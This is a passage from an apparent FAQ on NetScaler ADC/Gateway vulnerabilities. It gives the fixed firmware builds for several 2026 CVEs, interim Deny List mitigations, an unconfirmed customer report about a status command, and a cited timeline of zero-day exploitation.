Per CTX697096: NetScaler ADC/Gateway 14.1-73.37 and later; 13.1-64.23 and later; ADC 14.1-FIPS 14.1-73.37 FIPS and later; ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later (the bulletin also writes this build as 13.1-37.279). A SAML appliance should not stop there: 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds fix CVE-2026-88779 and CVE-2026-107406 as well. Since 27 Oct the recommended target is 14.1-73.49 / 13.1-64.32 / 14.1-73.49 FIPS / 13.1.37.286, which additionally fixes the PHP2Shell management-plane exposure. [1][37]
Which NetScaler versions fix CVE-2026-88779, and why does stat denylist global AAA_REQUEST fail?
CVE-2026-88779 needs newer builds than the September fixes: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS or 13.1-37.282 FIPS/NDcPP (per bulletin CTX697174). CVE-2026-107406 then needs 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS or 13.1-37.283 FIPS/NDcPP (CTX697191), and since 27 October the PHP2Shell CVEs need 14.1-73.49, 13.1-64.32, 14.1-73.49 FIPS or 13.1.37.286 FIPS/NDcPP (CTX697263) - install that generation and everything is covered. As an interim measure, Citrix has released Global Deny List signatures for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console. Beazley's IR (4 Oct) describes the mechanism: the crash hits nsaaad while processing signature canonicalization with an oversized InclusiveNamespaces PrefixList; attackers use the resulting reboots to re-trigger the CVE-2026-88771 log injection on already-infected appliances, but appliances patched on 27 Sep no longer execute the injected commands. A customer report in Citrix's forum (unconfirmed, no Citrix reply) says that after patching to 13.1-64.28, stat denylist global AAA_REQUEST returns "no such resource" or an empty result where it previously showed hits - the customer's own interpretation is that the Deny List signatures apply per firmware to the CVEs known for that build. Verify mitigation state through NetScaler Console rather than relying on that one command. [3][53][76]
Were CVE-2026-88771 and CVE-2026-88772 exploited as zero-days?
Yes. Citrix confirmed exploitation on unmitigated appliances when it disclosed them on 27 Sep 2026. eSentire saw CVE-2026-88771 exploited from 5 Sep, GreyNoise recorded an attempt on 24 Sep, and CrowdSec's Live Exploit Tracker recorded matching requests on 22-23 and 26 Sep - all before any patch or CVE was public. Rapid7's October incident analysis later confirmed the chain from victim-side logs: CVE-2026-88771 log injection plus CVE-2026-88779 crash/reboot, with root execution after the reboot. [1][98][106][110][86]